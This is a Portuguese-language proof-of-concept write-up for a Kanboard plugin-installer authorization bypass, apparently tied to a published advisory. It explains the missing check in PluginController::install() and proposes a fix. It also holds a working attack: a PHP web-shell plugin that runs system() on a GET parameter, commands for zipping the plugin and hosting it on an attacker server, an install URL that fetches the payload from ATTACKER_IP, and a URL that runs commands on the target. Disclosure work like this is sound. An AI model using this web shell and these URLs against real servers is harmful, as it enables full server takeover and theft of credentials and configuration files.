
Prova de conceito de exploit para CVE-2026-25924, demonstrando execução remota de código administrativa no Kanboard por meio de uma verificação de controle de acesso ausente na instalação de plugins.
Prova de Conceito para RCE Administrativo via Bypass de Controle de Segurança
Divulgação: Originalmente reportado por mim via GHSA-grch-p7vf-vc4f
⚠️ Uso exclusivo para pentest/pesquisa autorizados.
| Campo | Valor |
|---|
| ID CVE | CVE-2026-25924 |
| Severidade | 🔴 Alta |
| Pontuação CVSS | 8.4 |
| Vetor CVSS | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| CWE | CWE-863: Autorização Incorreta |
| Produto Afetado | Kanboard ≤ 1.2.49 |
| Versão Corrigida | 1.2.50 |
| Advisory | GHSA-grch-p7vf-vc4f |
Uma vulnerabilidade de bypass de controle de segurança no Kanboard v1.2.49 permite que um administrador autenticado alcance Execução Remota de Código (RCE) completa. Embora a aplicação oculte corretamente a interface de instalação de plugins quando a configuração PLUGIN_INSTALLER está definida como false, o endpoint backend subjacente não verifica essa configuração de segurança. Um atacante pode explorar essa falha para forçar o servidor a baixar e instalar um plugin malicioso, levando à execução arbitrária de código.


O Kanboard utiliza uma constante de segurança PLUGIN_INSTALLER para restringir a capacidade de instalar plugins a partir de URLs remotas. Isso é definido em app/constants.php:
Arquivo: app/constants.php
21: defined('PLUGIN_INSTALLER') or define('PLUGIN_INSTALLER', strtolower(getenv('PLUGIN_INSTALLER')) === 'true'); // Disabled by default for security reasons
A aplicação verifica corretamente essa configuração nos métodos de renderização da interface do PluginController, como show() e directory(), usando Installer::isConfigured():
Arquivo: app/Controller/PluginController.php
22: public function show()
23: {
...
28: 'is_configured' => Installer::isConfigured(),
29: )));
30: }
No entanto, o método install() no mesmo controller não realiza essa verificação. Ele apenas valida o token CSRF antes de prosseguir para baixar e instalar um plugin a partir de uma URL arbitrária fornecida no parâmetro archive_url.
Código Vulnerável em app/Controller/PluginController.php:
56: public function install()
57: {
58: $this->checkCSRFParam();
59: $pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));
60:
61: try {
62: $installer = new Installer($this->container);
63: $installer->install($pluginArchiveUrl); // <--- VULNERABILITY: Missing check for Installer::isConfigured()
64: $this->flash->success(t('Plugin installed successfully.'));
65: } catch (PluginInstallerException $e) {
66: $this->flash->failure($e->getMessage());
67: }
68:
69: $this->response->redirect($this->helper->url->to('PluginController', 'show'));
70: }
Como Installer::install() também não verifica a constante PLUGIN_INSTALLER, um administrador pode contornar a restrição pretendida simplesmente acessando o endpoint diretamente com um token CSRF válido. Uma vez instalado, o plugin malicioso é automaticamente carregado e executado pelo Kanboard\Core\Plugin\Loader, concedendo ao atacante RCE completo.
Crie um diretório chamado Exploit com um arquivo Plugin.php:
<?php
namespace Kanboard\Plugin\Exploit;
use Kanboard\Core\Plugin\Base;
class Plugin extends Base {
public function initialize() {
// Web shell listener
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
}
}
Compacte a pasta e hospede-a em um servidor controlado pelo atacante:
zip -r exploit.zip Exploit/
python3 -m http.server 80

Faça login no Kanboard como administrador. Obtenha seu csrf_token no código-fonte da página e navegue para:
http://[TARGET_IP]:8080/?controller=PluginController&action=install&archive_url=http://[ATTACKER_IP]/exploit.zip&csrf_token=[YOUR_TOKEN]

Use o parâmetro cmd para executar comandos arbitrários do sistema:
http://[TARGET_IP]:8080/?controller=DashboardController&action=show&cmd=id


Esta vulnerabilidade permite que um administrador contorne as restrições de segurança impostas pelo host. Ao alcançar RCE, o atacante pode:
/etc/passwd, config.php).Adicione uma verificação para Installer::isConfigured() no início dos métodos install() e update() em app/Controller/PluginController.php:
if (! Installer::isConfigured()) {
throw new AccessForbiddenException();
}